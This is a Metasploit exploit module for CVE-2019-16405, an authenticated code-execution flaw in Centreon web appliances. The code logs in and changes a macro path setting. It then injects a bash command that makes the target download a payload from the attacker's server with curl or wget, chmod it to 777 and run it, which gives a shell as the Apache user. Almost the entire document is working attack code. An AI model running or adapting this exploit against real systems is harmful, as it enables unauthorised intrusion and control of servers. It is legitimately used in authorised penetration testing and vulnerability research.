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#################################################################### # This module requires Metasploit: https://metasploit.com/download # #Current source: https://github.com/rapid7/metasploit-framework# #################################################################### class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, "Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution", "Description" =>%q{ Authenticated Remote Code Execution on Centreon Web Appliances. Affected versions: =< 18.10, 19.04 By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache. Vendor verified: 09/17/2019 Vendor patched: 10/16/2019 Public disclosure: 10/18/2019 }, "License" => MSF_LICENSE, 'Author' => [ 'TheCyberGeek', # Discovery 'enjloezz' # Discovery and Metasploit Module ], 'References' => [ ['URL','https://github.com/centreon/centreon/pull/7864'], ['CVE','2019-16405'] ], "Platform" => "linux", "Targets" => [ ["Centreon", {}], ], "Stance" => Msf::Exploit::Stance::Aggressive, "Privileged" => false, "DisclosureDate" => "Oct 19 2019", "DefaultOptions" => { "SRVPORT" => 80, }, "DefaultTarget" => 0 )) register_options( [ OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]), OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]), OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]), OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]), OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]), ] ) end def exploit begin res = send_request_cgi( "uri" => normalize_uri(target_uri.path, "index.php"), "method" => "GET", ) @phpsessid = res.get_cookies /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body unless token vprint_error("Couldn't get token, check your TARGETURI") return end res = send_request_cgi!( "uri" => normalize_uri(target_uri.path, "index.php"), "method" => "POST", "cookie" => @phpsessid, "vars_post" => { "useralias" => datastore["USERNAME"], "password" => datastore["PASSWORD"], "centreon_token" => token, }, ) unless res.body.include? "You need to enable JavaScript to run this app" fail_with Failure::NoAccess "Cannot login to Centreon" end print_good("Login Successful!") res = send_request_cgi( "uri" => normalize_uri(target_uri.path, "main.get.php"), "method" => "GET", "cookie" => @phpsessid, "vars_get" => { "p" => "60904", "o" => "c", "resource_id" => 1, }, ) /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body res = send_request_cgi( "uri" => normalize_uri(target_uri.path, "main.get.php"), "vars_get" => { "p" => "60904", }, "method" => "POST", "cookie" => @phpsessid, "vars_post" => { "resource_name": "$USER1$", "resource_line": "/", "instance_id": 1, "resource_activate": 1, "resource_comment": "Nagios Plugins Path", "submitC": "Save", "resource_id": 1, "o": "c", "initialValues": "" "a:0:{}" "", "centreon_token": token }, ) begin Timeout.timeout(datastore["HTTPDELAY"]) { super } rescue Timeout::Error vprint_error("Server Timed Out...") end rescue ::Rex::ConnectionError vprint_error("Connection error...") end end def primer @pl = generate_payload_exe @path = service.resources.keys[0] binding_ip = srvhost_addr proto = ssl ? "https" : "http" payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}" send_payload(payload_uri) end def send_payload(payload_uri) payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\"" print_good("Sending Payload") send_request_cgi( "uri" => normalize_uri(target_uri.path, "main.get.php"), "method" => "POST", "cookie" => @phpsessid, "vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 }, ) end def on_request_uri(cli, req) print_good("#{peer} - Payload request received: #{req.uri}") send_response(cli, @pl) run_shell stop_service end def run_shell print_good("Setting permissions for the payload") res = send_request_cgi( "uri" => normalize_uri(target_uri.path, "main.get.php"), "method" => "POST", "cookie" => @phpsessid, "vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"", "o": "p", "min": 1, }, ) print_good("Executing Payload") res = send_request_cgi( "uri" => normalize_uri(target_uri.path, "main.get.php"), "method" => "POST", "cookie" => @phpsessid, "vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": "/tmp/#{@path}", "o": "p", "min": 1, }, ) end end |
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